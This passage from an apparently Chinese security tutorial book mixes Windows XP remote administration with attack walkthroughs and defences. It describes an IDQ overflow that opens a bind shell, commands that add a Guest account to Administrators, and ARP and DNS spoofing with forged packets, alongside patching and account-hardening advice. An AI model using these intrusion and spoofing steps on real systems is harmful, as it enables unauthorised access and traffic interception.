步骤4：选择“常规”选项卡，在“登录设置”选项组的“计算机”文本框中输入要进行远程桌面连接的计算机名称；在“用户名”文本框中输入登录使用的用户名；若用户要保存凭证，可勾选“允许我保存凭证”复选框，如图3-97所示。

图　3-97　“常规”选项卡

步骤5：在“显示”选项卡中可设置远程桌面显示的大小、颜色质量，如图3-98所示。在“本地资源”选项卡中可设置远程计算机的声音及会话中使用的设备和资源，如图3-99所示。在“体验”选项卡中可选择远程连接的速度（建议选择局域网＜10mbps或更高＞），如图3-100所示。

图　3-98　“显示”选项卡

图　3-99　“本地资源”选项卡

图　3-100　“体验”选项卡

步骤6：单击【连接（N）】按钮，即可进行远程桌面连接。同时将弹出【登录到Windows】对话框，在“用户名”文本框中输入登录用户的名称；在“密码”文本框中输入登录密码，如图3-101所示。

图　3-101　【登录到Windows】对话框

步骤7：单击【确定】按钮，即可登录到远程计算机桌面，此时用户在远程桌面上的操作与在本机上操作无任何差别，如图3-102所示。在登录成功之后，就可以使用该远程桌面中的程序进行各项操作了。如这里以打开“我的电脑”为例，如图3-103所示。

图　3-102　成功登录到远程计算机桌面

图　3-103　打开远程计算机中的“我的电脑”

步骤8：需要断开远程桌面连接时，只需在本地计算机中单击远程桌面连接窗口上的【关闭】按钮，在弹出的提示信息框中单击【确定】按钮，如图3-104所示。

图　3-104　【断开连接终端服务会话】对话框

注意　登录远程计算机的用户必须设置密码，否则将不能正常使用远程桌面连接功能。另外，进行远程桌面连接时远程计算机用户将不能登录，若登录则断开远程桌面连接。

2.Windows XP系统远程关机

Windows XP默认只有Administrators组的用户才能执行远程关闭计算机的操作。一般情况下，访问其他计算机只有guest用户权限，此时要执行远程关闭计算机操作，就会出现拒绝访问的提示。为此，用户需要修改被远程关闭的计算机中guest用户操作权限。

具体的操作方法如下。

步骤1：在【运行】对话框中运行"gpedit.msc"命令，即可打开【组策略】窗口，展开“计算机配置”→“Windows设置”→“安全设置”→“本地策略”→“用户权利指派”结点，如图3-105所示。

图　3-105　“组策略”窗口

步骤2：双击右侧窗口中的“从远端系统强制关机”选项，在弹出的对话框中将guest用户添加到用户或组列表框中，如图3-106所示。

图　3-106　添加guest用户

步骤3：在本地计算机中打开“命令提示符”窗口，在其中输入“shutdown-s-m\\远程计算机名-t 30”命令，其中30为关闭延迟时间，如图3-107所示。

图　3-107　输入关机命令

步骤4：被关闭的计算机屏幕上将显示“系统关机”对话框，如图3-108所示。被关闭的计算机操作员可输入"shutdown-a"命令中止关机任务。

图　3-108　关机提示信息

3.区别远程桌面与远程协助

“远程协助”是Windows附带提供的一种远程控制方法。远程协助的发起者通过MSN Messenger（或Windows Messenger）向Messenger中的联系人发出协助要求，在获得对方同意后，可进行远程协助，远程协助中被协助方计算机将暂时受协助方（在远程协助程序中被称为专家）的控制，专家可在被控计算机中进行系统维护、安装软件、处理计算机中的某些问题或向被协助者演示某些操作。

使用“远程协助”时还可以通过向邀请方发送电子邮件等方式进行，且通过“帮助和支持”窗口能够查看到邀请与被邀请的有关资料。在使用“远程协助”进行远程控制时，必须由主控双方协同才能够进行，所以Windows XP专业版中又提供了“远程桌面连接”控制方式。

利用“远程桌面连接”功能，用户可在远离办公室的地方通过网络对计算机进行远程控制，即使主机处在无人状况，“远程桌面连接”仍然可顺利进行，远程用户可通过这种方式使用计算机中的数据、应用程序和网络资源，也可让同事访问到自己的计算机桌面，以便于进行协同工作。使用“远程桌面连接”功能时，被控计算机用户不能使用自己的计算机，不能看到远程操作者所进行的操作过程，且远程控制者具有被控计算机的最高权限。

第27招　远程管理主机

一个网络，无论是局域网还是网站往往都需要一台主机负责整个网络的管理，而主机的管理则需要一个专门负责的人进行维护。远程管理主机可以实现系统管理员对主机的远程控制，从而减少系统管理员的路途奔波，节省了时间，也提高了效率。

1.利用漏洞入侵主机

一般来说，任何一个计算机系统都会存在漏洞，而黑客的攻击也是基于漏洞开展的。计算机与网络连接后，就需要打开相应的端口，而每个服务都需要相应的端口，如FTP端口为21，HTTP端口为80等，每个服务都可能存在漏洞，黑客根据扫描到的端口信息，就可以入侵到目标主机系统中。

下面以扫描到的IDQ漏洞为例介绍黑客的入侵过程（IDQ漏洞可以使黑客得到Web目录有绝对路径，且还能使攻击者获得一个Shell, Shell是一种命令解释程序，它能给攻击者提供远程控制接口，从而控制服务器）。具体的操作方法如下。

步骤1：扫描目标主机存在IDQ漏洞后，使用Snake IIS溢出工具，在IP地址框中输入“127.0.0.1”，端口设定为80（这里看对方HTTP端口而定）。

步骤2：选择操作系统类型，这里要看服务器是中文的、英文的还是日文的，有没有打开SP补丁，一般选择第一项。

步骤3：选择cmd.exe绑定端口。这里可随便使用1～65535中一个没有被激活的端口。

步骤4：单击IDQ溢出，如果成功，即可发送shellcode到127.0.0.1:80。

步骤5：使用Telnet工具，在“命令提示符”窗口输入"Telnet 127.0.0.1:813"命令，即可进入对方系统（其中813为目标主机未激活端口）。

2.为漏洞主机打补丁

因为所有的计算机系统都存在漏洞，而且对一个固定的系统来说漏洞也还在不断地发现中。为了避免自己的计算机系统被黑客攻击，就需要及时为自己的系统打上漏洞补丁，特别是具有重大安全隐患的漏洞补丁。为系统打补丁的方法很多，最常用的有如下几种。

方法1：使用Windows系统更新功能。Windows系统具有自动更新功能，选择【开始】→【程序】→【Windows Update】菜单项，即可连接Microsoft公司的网站，如图3-109所示。

图　3-109　微软更新网站

方法2：开启Windows系统的自动更新功能。在“控制面板”窗口中双击“自动更新”图标，即可打开【自动更新】对话框，在其中选取“自动（建议）”单选项，如图3-110所示。Windows系统将自动下载补丁进行安装。

图　3-110　启用“自动更新”功能

方法3：使用专门工具。现在大多数杀毒软件和防火墙都提供系统漏洞扫描功能，可以下载相应的漏洞补丁进行安装。如在瑞星杀毒软件界面中选择“安检”选项卡，单击“扫描系统漏洞并升级补丁”超链接，即可对当前系统进行漏洞扫描并下载相应漏洞，如图3-111所示。

图　3-111　瑞星杀毒软件的漏洞扫描功能

3.建立隐藏式网站

所谓隐藏式网站就是能够隐藏网站目录，使访问者不能明显地看出网站文件在服务器中保存的位置，从而提高网站的安全性。下面以IIS网站为例介绍隐藏网站保存路径操作方法。

步骤1：通过【开始】→【设置】→【控制面板】→【管理工具】→【Internet信息服务】菜单项，即可打开“Internet信息服务”窗口。右击某一个网站，在快捷菜单中执行“资源管理器”选项，如图3-112所示。

图　3-112　“Internet信息服务”窗口

步骤2：在打开的网站文件夹中创建一个名称为"new"的文件夹，如图3-113所示。

图　3-113　创建文件夹

步骤3：在硬盘的其他位置创建一个名称为"hack"的文件夹，因为该文件夹将存放要隐藏的网站主页，所以隐藏的路径越深越好，如图3-114所示。

图　3-114　创建隐藏网站的文件夹

步骤4：在【Internet信息服务】窗口中右击"new"文件夹名称，在快捷菜单中选取“新建”→“虚拟目录”菜单项，即可弹出【虚拟目录创建向导】对话框。单击【下一步】按钮，在其中输入虚拟目录的“别名”，如图3-115所示。

图　3-115　输入虚拟目录别名

步骤5：单击【下一步】按钮，在显示的对话框中单击【浏览】按钮，指定"hack"目录路径，如图3-116所示。单击【下一步】按钮，选择该虚拟目录允许的权限选项，如图3-117所示单击【下一步】按钮，再单击【完成】按钮，即可结束虚拟目录的创建操作。

图　3-116　指定虚拟目录路径

图　3-117　选择允许权限

步骤6：在【Internet信息服务】窗口中找到新建的"new"文件夹之后，将其删除，即可完成网站存放路径的隐藏操作。

第4章
欺骗与反欺骗

重点提示

♂提防虚假的Guest账户

♂防范假终端管理员

♂拒绝恶意接入的网络执法官

♂实现ARP欺骗攻击

♂实现DNS欺骗攻击

♂行行色色的网络欺骗

♂用Privacy Defender清除痕迹

本章精粹：

本章将着重介绍网络欺骗攻击的各种方式和技术，并利用网络欺骗攻击获得网络中限制资源的方法与技巧，还介绍了黑客攻防中各种获取和保护账户密码的方法，有助于读者从中找到更加有效地防御黑客攻击的方法。

网络欺骗就是使入侵者相信信息系统存在有价值的、可利用的安全弱点，具有一些可攻击窃取的资源（当然这些资源是伪造的或不重要的），并将入侵者引向这些错误的资源；可显著地增加入侵者的工作量、入侵复杂度及不确定性，从而使入侵者不知道其进攻是否奏效或成功；且允许防护者跟踪入侵者的行为，在入侵之前修补系统可能存在的安全漏洞。

第28招　提防虚假的Guest账户

在黑客入侵中，稍有经验的黑客们在入侵时可利用系统中存在的Guest账户设置不当的安全隐患，在被入侵主机系统中来去自如，如通过Guest账户克隆出无数的管理员账户。

1.改头换面的管理员账户

Administrator是系统默认的具有最高权限的管理员帐号，而Guest账户是系统默认的最低权限的账户，因此，很多系统管理员对Guest账户放松了管理，认为黑客即使得到了这类账户的权限，也不会对系统造成任何影响。这样就会使黑客有机可乘，利用Guest账户入侵系统。下面就来看看黑客是如何将Guest账户变成管理员账户的。

黑客首先利用扫描软件来侦测系统中的Guest账户是否具有可入侵性，其判断为该账户是否具有弱口令特征，如果有，该账户将非常容易被盗用。黑客往往会利用Guest账户登录被入侵系统，则会在自己的计算机中打开DOS命令窗口，在其中输入“Net use\\61.147.*.*（这个IP即为入侵地址）”命令。

在出现“密码或用户名在\\61.147.*.*无效”的提示之后，输入扫描得到的用户名和密码，即可看见“命令成功完成”的提示信息。这时黑客已成功利用Guest账户登录上被入侵的计算机主机系统，只要使用"Net Localgroup Administrators Guest/add"命令，即可完成账户的欺骗性“权限变更”操作。这样，一个简单的命令就可以将Guest变为Administrator了。

2.混迹管理员组的Guest账户

许多网络系统的管理员在黑客对其账户进行了欺骗式的操作之后，还蒙在鼓里，直到有一天资料被窃取才猛然发现自己被黑了。作为系统管理员，怎样才能及时地识破这一切呢？应先查看Guest账户中的“隶属组”，查看当前的账户是否非法存在于管理员组中即可。

具体的查看方法如下。

步骤1：选择【开始】→【设置】→【控制面板】选项，即可打开“控制面板”窗口，如图4-1所示。

图　4-1　【控制面板】窗口

步骤2：双击“管理工具”图标，即可打开“管理工具”窗口。再双击“计算机管理”图标，即可打开“计算机管理”窗口，如图4-2所示。

图　4-2　【计算机管理】窗口

步骤3：逐层单击依次展开【计算机管理】→【系统工具】→【本地用户和组】→【用户】选项，在右侧用户列表中可看到Guest账户名的存在，如图4-3所示。

图　4-3　Guest账户名

步骤4：右击Guest账户，在弹出菜单中选择【属性】选项，即可打开该账户的【属性】对话框，在“隶属于”选项卡中可以看到Guest账户隶属于两个组，分别是"Administrator"和"Users"，如图4-4所示。由此可见，Guest账户已经被黑客加入到管理员组中了。

图　4-4　Guest账户已加入管理员组

3.Guest账户安全管理

下面讲述作为系统管理员如何对Guest账户进行安全的管理，通常有如下3种方法。

（1）删除非法加入的组

删除非法加入的组的具体操作步骤如下。

步骤1：选中"Administrator"组并单击【删除】按钮，即可将Guest账户从"Administrator"组中删除，让Guest账户只隶属于“Guests组”，如图4-5所示。

图　4-5　将Guest账户从管理员组中删除

步骤2：切换到“常规”选项卡，在其中勾选“账号已停用”复选框，如图4-6所示。这样，黑客就无法使用Guest账户登录系统了。

图　4-6　“常规”选项卡

（2）禁止Guest账户登录本机

为了更保险地保护Guest账户的安全，还可使用组策略来进行管理。具体操作方法如下。

步骤1：在【运行】对话框的“打开”文本框中输入"gpedit.msc"命令，如图4-7所示。

图　4-7　【运行】对话框

步骤2：单击【确定】按钮，即可打开【组策略】窗口，依次展开【计算机配置】→【Windows设置】→【安全设置】→【本地策略】→【用户权利指派】选项，在右侧选项列表中选择“在本地登录”选项，如图4-8所示。

图　4-8　【组策略】窗口

步骤3：双击“在本地登录”选项，即可打开【在本地登录属性】窗口，如图4-9所示。在其中选择Guest账户，单击【删除】按钮，即完成了Guest账户不能登录本机的设置。

图　4-9　删除Guest账户名

（3）牢记Guest账户密码的设置规则

Guest账户的设置方法非常简单，但设置时要注意密码的提示既要让自己能够记牢也得让别人无从猜测。密码设置的原则是：不规律的密码组合+定期的密码更换。一个相对安全的密码应该具有的特征是无规律可循且便于记忆。正确的设置应该是既包含大小写字母，又包含数字和标点的字符串，而且还要便于记忆。混杂密码组合被破解的概率会变得非常低。注意密码不要让自己也无从记起，那样很容易造成密码遗忘，从而导致一些不必要的麻烦。

第29招　防范假终端管理员

终端服务（Terminal Services）也叫WBT（Windows-based Terminal，基于Windows的终端），它集成在Windows.NET Server中，作为系统服务器服务组件存在。终端服务的工作原理是客户机和服务器通过TCP/IP协议和标准的局域网构架联系。通过客户端终端的客户机的鼠标、键盘的输入传递到终端服务器上，再把服务器上的显示传递回客户端。客户端不需要具有计算能力，最多只需要提供一定的缓存能力。众多的客户端可以同时登录到服务器上，仿佛同时在服务器上工作一样，它们之间作为不同的会话连接是互相独立的。

与终端服务器的连接很简单，例如可使用Windows XP自带的“远程桌面”程序与终端服务器进行连接，从而启动一个终端会话。具体的操作步骤如下。

步骤1：在【运行】对话框的“运行栏”中输入"mstsc.exe"命令，即可弹出“远程桌面连接”对话框，如图4-10所示。

图　4-10　【远程桌面连接】对话框

步骤2：单击【选项】按钮，将出现完整的远程桌面连接程序设置界面，如图4-11所示。

图　4-11　设置远程桌面连接选项

步骤3：选择“常规”选项卡，在“登录设置”选项组的“计算机”文本框中输入要进行远程桌面连接的计算机名称；在“用户名”文本框中输入登录使用的用户名；若用户要保存凭证，可勾选“允许我保存凭证”复选框，如图4-12所示。

图　4-12　“常规”选项卡

步骤4：在“显示”选项卡中可设置远程桌面显示的大小、颜色质量，如图4-13所示。在“体验”选项卡中可选择远程连接速度（建议局域网选择10mbps或更高），如图4-14所示。

图　4-13　“显示”选项卡

图　4-14　“体验”选项卡

步骤5：单击【连接（N）】按钮，稍等片刻就会连接到终端服务器上，这时终端服务器的登录界面将会出现在远程桌面连接程序中，在“用户名”文本框中输入登录用户的名称，在“密码”文本框中输入登录密码，如图4-15所示。

图　4-15　【登录到Windows】对话框

注意　登录远程计算机的用户必须设置密码，否则将不能正常使用远程桌面连接功能。另外，进行远程桌面连接时远程计算机用户将不能登录，若登录则断开远程桌面连接。

步骤6：单击【确定】按钮，即可登录到远程计算机桌面，此时用户在远程桌面上的操作与在本机上操作无任何差别，如图4-16所示。

图　4-16　成功登录到远程计算机桌面

小技巧　默认情况下，终端服务器在客户端的显示是全屏的，可以单击窗口标题栏右上角的最大化、最小化或关闭按钮对客户端的窗口进行操作。

步骤7：需要断开远程桌面连接时，只需在本地计算机中单击远程桌面连接窗口上的【关闭】按钮，在弹出提示信息框中单击【确定】按钮，如图4-17所示。

图　4-17　【断开连接终端服务会话】对话框

第30招　拒绝恶意接入的网络执法官

“网络执法官”是一款局域网管理辅助软件，采用网络底层协议能穿透各客户端防火墙对网络中的每一台主机（这里的主机是指各种计算机、交换机等配有IP的网络设备）进行监控；采用网卡号（MAC地址）识别用户等。

1.安装网络执法官

“网络执法官”主要功能是依据管理员为各主机限定的权限，实时监控整个局域网，并自动对非法用户进行管理，可将非法用户与网络中某些主机或整个网络隔离，而且无论局域网中的主机运行何种防火墙，都不能逃避监控，也不会引发防火墙警告，提高了网络安全性。

在使用“网络执法官”进行网络监控前应对其进行安装，具体的操作步骤如下。

步骤1：下载并解压“网络执法官”文件夹，双击“网络执法官”安装程序图标，即可弹出【选择安装语言】对话框，在其中选择需要使用的语言，如图4-18所示。

图　4-18　【选择安装语言】对话框

步骤2：在选择好要使用的语言后，单击【确定】按钮，即可打开【欢迎使用Netrobocop v3.39安装向导】对话框，如图4-19所示。

图　4-19　【欢迎使用Netrobocop v3.39安装向导】对话框

步骤3：单击【下一步】按钮，即可打开【选择目标位置】对话框，在其中选择程序安装位置，如图4-20所示。选择"Netrobocop v3.39"安装目标位置，单击【下一步】按钮，即可打开【开始菜单文件夹】对话框，在其中选择放置程序快捷方式位置，如图4-21所示。

图　4-20　【选择目标位置】对话框

图　4-21　【开始菜单文件夹】对话框

步骤4：单击【下一步】按钮，即可打开【选择附加任务】对话框，选择安装"Netrobocop v3.39"时要执行的附加任务，如图4-22所示。

图　4-22　【选择附加任务】对话框

步骤5：继续单击【下一步】按钮，即可进入【准备安装】对话框，将开始准备安装程序，如图4-23所示。单击【安装】按钮，开始安装并显示安装进度。

图　4-23　【准备安装】对话框

步骤6：单击【下一步】按钮，即可弹出【Netrobocop v3.39安装向导完成】对话框。单击【完成】按钮，即可完成安装，如图4-24所示。

图　4-24　【Netrobocop v3.39安装向导完成】对话框

步骤7：在安装完成后，“网络执法官”会在桌面自动生成快捷方式。双击"Netrobocop"快捷方式图标，即可弹出【设置扫描范围】对话框，在其中指定监测的硬件对象和网段范围，如图4-25所示。

图　4-25　【设置扫描范围】对话框

步骤8：在设置好要扫描的范围之后，单击【添加/修改】按钮，再单击【确定】按钮，即可进入“网络执法官”操作窗口，其中显示了在同一个局域网下的所有用户，可查看其状态、流量、IP地址、是否锁定、最后上线时间、下线时间、网卡注释等信息，如图4-26所示。

图　4-26　“网络执法官”操作窗口

“网卡MAC地址”是网卡的物理地址，也称硬件地址或链路地址，是网卡自身的唯一标识，一般不能随意改变。无论把这个网卡接入到网络的什么地方，MAC地址都不变。其长度为48位二进制数，由12个00～0FFH的16进制数组成，每个16进制数之间用“-”隔开，如"00-0C-76-9F-BC-02"。

2.查看目标计算机属性

使用“网络执法官”可搜集处于同一局域网内所有主机的相关网络信息。

具体的操作步骤如下。

步骤1：在“网络执法官”操作窗口中双击“用户列表”中需要查看的对象，即可打开【用户属性】对话框，在其中查看用户的网卡地址、IP地址、上线情况等，如图4-27所示。

图　4-27　【用户属性】对话框

步骤2：还可以通过单击【历史记录】按钮，即可打开【在线记录】对话框，在其中查看该计算机上线的情况，如图4-28所示。

图　4-28　【在线记录】对话框

3.批量保存目标主机信息

除收集局域网内各个计算机的信息之外，“网络执法官”还可以对局域网中的主机信息进行批量保存。具体的操作步骤如下。

步骤1：在“网络执法官”操作窗口中选择“记录查询”选项卡，在“IP地址段”中输入“起始IP地址”和“结束IP地址”，单击【查找】按钮，即可开始收集局域网中计算机的信息，如图4-29所示。

图　4-29　“记录查询”页面

步骤2：单击【导出】按钮，将所有信息导出为文本文件，如图4-30所示。

图　4-30　查看记事本文件信息

4.设置关键主机

“关键主机”是由管理员指定的IP地址，可以是网关、其他计算机或服务器等。管理员将指定的IP存入“关键主机”之后，即可令非法用户仅断开与“关键主机”的连接，而不断开与其他计算机的连接。

设置“关键主机组”的具体操作方法如下。

步骤1：选择【设置】→【关键主机组】菜单项，或在【锁定/解锁】对话框中单击【设置】按钮，均可打开【关键主机组设置】对话框，如图4-31所示。

图　4-31　【关键主机组设置】对话框

步骤2：在“选择关键主机组”下拉列表框中选择关键主机组的名称。

步骤3：在设定“组内IP”之后，单击【全部保存】按钮，将关键主机的修改生效并进行保存。

5.设置默认权限

“网络执法官”还可以对局域网中的计算机进行网络管理。并不要求它安装在服务器中，而是可以安装在局域网内的任一台计算机上，即可对整个局域网内的所有计算机进行管理。

设置用户权限的具体操作如下。

步骤1：单击【用户属性】对话框中的【设置权限】按钮，即可打开【用户权限设置】对话框，在其中对用户权限类型进行相应设置，如图4-32所示。

图　4-32　【用户权限设置】对话框

步骤2：选择“受限用户，若违反以下权限将被管理”单选项之后，如果需要对IP进行限制，则可勾选“启用IP限制”复选框，并单击【禁用以下IP段：未设定】按钮，即可在弹出的IP限制对话框中对IP进行设置，如图4-33所示。

图　4-33　【IP限制】对话框

步骤3：选择“禁止用户，发现该用户上线即管理”单选项，即可在“管理方式”复选项中设置管理方式。当目标计算机连入局域网时，“网络执法官”即按照设定的项对该计算机进行管理，如图4-34所示。

图　4-34　设置管理方式

步骤4：在“网络执法官”操作窗口中右击“用户列表”的任意一个对象，在快捷菜单中选择“权限设置”选项，即可单独配置该用户的权限，如图4-35所示。

图　4-35　从“用户列表”中设置用户权限

6.禁止目标计算机访问网络

禁止目标计算机访问网络是“网络执法官”的重要功能，具体的禁止方法如下。

步骤1：在“网络执法官”操作窗口中，右击“用户列表”中的任意一个对象，在弹出的快捷菜单中选择“锁定/解锁”选项，即可弹出【锁定/解锁】对话框，如图4-36所示。

图　4-36　【锁定/解锁】对话框

步骤2：选中锁定方式为“禁止与所有主机的TCP/IP连接（除敏感主机外）”单选项，单击【确定】按钮，即可实现禁止目标计算机访问网络这项功能。

7.拒绝“网络执法官”的恶意接入

目前，拒绝“网络执法官”的恶意接入主要还以防范为主，可通过修改自己网卡的MAC地址来改变IP到MAC的映射，从而使得网络执法官的ARP欺骗失效，进而摆脱“网络执法官”的破坏。下面介绍一个比较常用的方法。

步骤1：打开【运行】对话框在“打开”文本框中输入"regedit"，单击【确定】按钮，如图4-37所示。

图　4-37　【运行】对话框

步骤2：在【注册表编辑器】窗口中展开HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Control\Class\子项，如图4-38所示。

图　4-38　展开注册表编辑器

步骤3：在注册表编辑器右窗口找到说明为“网卡”的目录，比如36FC9E60-C465-11 CF-8056-444553540000。在其下0000，0001，0002……分支中找到"DriverDesc"键值，如"DriverDesc"值为"Intel(R)82559 Fast Ethernet LAN on Motherboard"，即为网卡说明。

步骤4：在找到的分支下添加新字符串变量（如在0000下找到的，就在0000下面添加字符串变量）并将其命名为"NetworkAddress"。在其中输入新网卡MAC地址（应该是12个十六进制数，如4F61E87C95BA，不能设置为000000000000，也不能与别的网卡的MAC地址重复）。在设置完毕之后，重启计算机。

第31招　实现ARP欺骗与防御

ARP（Address Resolution Protocol，地址解析协议）是一个位于TCP/IP协议栈中的低层协议，主要负责将某个IP地址解析成相对应的MAC地址。从防护者角度来讲，网络欺骗具有扰乱入侵者意图，使之按照机主设定方向进行入侵选择；能够迅速检测到入侵者并可及时发现入侵者的技术手段和入侵意图；能够大量消耗入侵者系统资源，使之感到入侵困难。

1.用WinArpAttacker实现ARP欺骗

WinArpAttacker是一款在网络中进行ARP欺骗攻击的工具，并使被攻击的主机无法正常与网络进行连接。此外，它还是一款网络嗅探（监听）工具，可嗅探网络中的主机、网关等对象，也可进行反监听，扫描局域网中是否存在监听。具体的操作步骤如下。

步骤1：将WinArpAttacker压缩包解压后，先安装WinPcap再双击WinArpAttacker.exe程序，即可进入其主界面，如图4-39所示。

图　4-39　WinArpAttacker操作界面

步骤2：单击工具栏上的【扫描】按钮，即可扫描出局域网中的所有主机。若选择【扫描】→【高级】选项，则可设置扫描范围，如图4-40所示。

图　4-40　设置扫描范围

步骤3：单击工具栏上的【设置】按钮，即可打开【Options】对话框，如图4-41所示。如果本地主机安装有多块网卡，则可在“适配器”标签卡选择绑定的网卡和IP地址。

图　4-41　设置适配器

步骤4：在“攻击”标签卡中可设置网络攻击时的各种选项，如图4-42所示。除ARP FLOOD是次数外，其他都是持续时间，如果是0则不停止。在“更新”标签卡中可设置自动扫描的时间间隔，如图4-43所示。在“检测”标签卡中可设置检测的频率，如图4-44所示。

图　4-42　设置攻击选项

图　4-43　设置更新选项

图　4-44　设置检测频率

步骤5：在“分析”标签卡中可指定保存ARP数据包文件的名称与路径，如图4-45所示。在“代理ARP”标签卡中可启用代理ARP功能，如图4-46所示。在“保护”标签卡中可启用本地和远程防欺骗保护功能，避免自己的主机受到ARP欺骗攻击，如图4-47所示。

图　4-45　设置文件名称与保存路径

图　4-46　启用代理ARP功能

图　4-47　使用防护功能

步骤6：在选取需要攻击的主机之后，单击【攻击】按钮右侧下拉按钮，在其中选择攻击方式，如图4-48所示。受到攻击的主机将不能与Internet网络进行正常连接，单击【停止】按钮，则被攻击的主机恢复正常连接状态。

图　4-48　选择攻击方式

步骤7：如果使用了嗅探攻击，则可单击【探测】按钮开始嗅探。单击【保存】按钮，可将主机列表保存下来，最后再单击【打开】按钮，即可打开主机列表。

步骤8：如果用户对ARP包的结构比较熟悉，了解ARP攻击原理，则可自己动手制作攻击包，单击【发送】按钮进行攻击。

提示　ArpSQ是该机器的发送ARP请求包的个数；ArpSP是该机器的发送回应包个数；ArpRQ是该机器的接收请求包个数；ArpRP是该机器的接收回应包个数。

2.网络监听的防御

当成功地登录到一台网络主机并取得了这台主机的超级用户权限之后，往往要尝试登录或夺取网络中其他主机的控制权。而网络监听则常常能轻易获得用其他方法很难获得的信息。在一个以太网中任何一台上网主机上运行监听工具，这是多数黑客的做法。

网络监听的防范一般比较困难，通常可采取数据加密、网络分段和运用VLAN技术三种方法。

1）数据加密：数据加密的优越性在于，即使攻击者获得了数据，如果不能破译，这些数据对他也是没有用的。一般而言，人们真正关心的是那些秘密数据的安全传输，使其不被监听和偷换。如果这些信息以明文的形式传输，就很容易被截获而且阅读出来。因此，对秘密数据进行加密传输是一个很好的办法。

2）网络分段。因为网络监听只能监听到本网段内的传输信息，所以可以采用网络分段技术，建立安全的网络拓扑结构，将一个大的网络分成若干个小的网络，如将一个部门、一个办公室等可以相互信任的主机放在一个物理网段上，网段之间再通过网桥、交换机或路由器相连，实现相互隔离。这样，即使某个网段被监听了，网络中其他网段还是安全的。因为数据包只能在该子网的网段内被截获，网络中剩余的部分（不在同一网段的部分）则被保护了。

3）运用VLAN技术。运用VLAN（虚拟局域网）技术，将以太网通信变为点到点通信，可以防止大部分基于网络监听的入侵。

3.金山ARP防火墙的使用

金山ARP防火墙能够双向拦截ARP欺骗攻击包，监测锁定攻击源，时刻保护局域网内计算机的正常上网数据流向，是一款适合于个人用户的反ARP欺骗保护工具。

具体的操作方法如下。

步骤1：从网上下载压缩包并解压后，双击KAntiarp.exe图标进行安装。安装完毕后，双击桌面上的“金山ARP防火墙”图标，即可进入其操作界面，如图4-49所示。

图　4-49　“金山ARP防火墙”主界面

步骤2：在“综合设置”标签卡中可设置防火墙的一般选项和ARP安全选项，如图4-50所示。若需要可单击【导出设置】按钮，将选项设置保存到文件中。单击“基本设置”选项区中的【修改设置】按钮，可设置与防火墙的运行相关的选项，如图4-51所示。

图　4-50　“综合设置”标签卡

图　4-51　基本选项设置

步骤3：单击“ARP安全设置”选项区的【修改设置】按钮，在其中设置有关ARP攻击拦截等选项，如图4-52所示。在“监控状态”标签中可看到监控时拦截到的有关信息，如图4-53所示。

图　4-52　设置ARP选项设置

图　4-53　监控信息

步骤4：在“监控日志”标签中可查看到拦截的日志记录，如图4-54所示。单击【浏览历史记录】按钮，即可使用记事本打开拦截的历史记录。

图　4-54　日志记录

步骤5：单击【清空列表记录】按钮，则可将“监控日志”标签卡显示的记录清除。

第32招　实现DNS欺骗攻击

DNS（Domain Name System，域名管理系统）是一种组织成域层次结构的计算机和网络服务命名系统，DNS欺骗是一种非常复杂的攻击手段，但使用起来比IP欺骗要简单得多。

1.DNS欺骗的实现过程

DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为，在局域网和广域网上实现DNS欺骗有所不同，相比之下，在局域网中实现DNS欺骗显得稍微容易些。

（1）在局域网中利用嗅探器实现DNS欺骗

如果已成功控制203.171.239.143所属子网中的任意一台主机，而且通过Sniffer对整个子网中传输的数据包进行嗅探，可设置只对203.171.239.143进行监听，从而获得需要标识ID。

当DNS服务器发出查询数据包时，它会在数据包内设置标识ID。只有应答包中的IP地址和ID值都正确时，服务器才接收。该ID每次会自动增加1，所以可以第一次向DNS服务器发一个查询包并监听到该ID值，随后再发一个查询包，即可发送构造好的应答包，包内的标识ID为预测的值，可指定一个范围（如ID+1～ID+50）以提高成功率。

如某用户（192.168.0.45）向域名服务器203.171.239.143发来请求查询www.newtop01.com的IP地址包，此时203.171.239.156要进行欺骗，其看到的地址包的格式如下：

192.168.0.45——＞203.171.239.143[Query]

NQY:1 NAN:0 NNS:0 NAD:0 QID:1234

QY:www.newtop01.com

其中NQY和NAN等都是查询包的标志位，当这两个标记为1时表示查询安保。这是在203.171.239.156上监听到的包，得到它的ID值为1234，然后也向服务器203.171.239.143发送一次查询，使其忙于应答这个包。查询包的具体内容如下：

203.171.239.156——＞203.171.239.143[Query]

NQY:1 NAN:0 NNS:0 NAD:0

QY:www.newtop01.com

再给用户192.168.0.45发送伪造的且带预测QID的应答包，其具体内容如下：

203.171.239.143——＞192.168.0.45[Answer]

NQY:1 NAN:0 NNS:0 NAD:0

QY:www.newtop01.com PTR

AN:www.newtop01.com PTR 203.171.239.84

其中“203.171.239.84”就是伪造的IP地址，这样，DNS欺骗就完成了。而当用户打开百度主页时，用户还认为这个网站被黑掉了。

（2）在广域网中实现DNS欺骗

如果要在广域网上实现DNS欺骗，并没有太多选择，黑客常常采用如下四种方式来实现DNS欺骗：

1）随机地测试所有ID的可能存在的值。该种方法不实用，除非确切知道该ID的具体值，或有一些有利的条件可以使其更容易实现。

2）发送更多的DNS查询包来提升得知正确ID的机会。

3）对DNS服务器实行拒绝服务式攻击，使其无法提供服务，此时就会出现类似的提示信息：＞＞mar 05 18:20:17 ADM named[1931]:db_F_ACTIVE set-ABORT at this time named deamon is out of order。

4）可以利用由SNI（SecureNetworks, Inc.）发现BIND漏洞，利用BIND漏洞的ID来实现DSN欺骗攻击。

2.DNS的攻击实例

网络守护神是主要针对目前国内机关，企事业单位的网络应用现状，如单位总出口带宽有限、网络滥用、员工无节制上网、聊天等情况，提供了简单、快捷而非常有效的管理功能。

使用网络守护神反击攻击者的具体操作步骤如下。

步骤1：安装网络守护神后，首次启动时会弹出要求设置自动维护时间间隔的【网络守护神性能维护程序】对话框，在其中设置自动维护网络守护神的时间间隔，如图4-55所示。

图　4-55　【网络守护神性能维护程序】对话框

步骤2：单击【确定】按钮，即可打开【网段名称】对话框，在“请输入网段名称”文本框中输入网段名称，如图4-56所示。

图　4-56　【网段名称】对话框

步骤3：单击【下一步】按钮，即可打开【接入公网类型】对话框，在其中选择“路由器（企业路由器、宽带路由器等）”单选按钮，如图4-57所示。

图　4-57　【接入公网类型】对话框

步骤4：单击【下一步】按钮，即可打开【选择网卡】对话框，在“请为网段选择对应的操作”下拉列表中选择对应网卡，可看到该网卡的信息，如图4-58所示。

图　4-58　【选择网卡】对话框

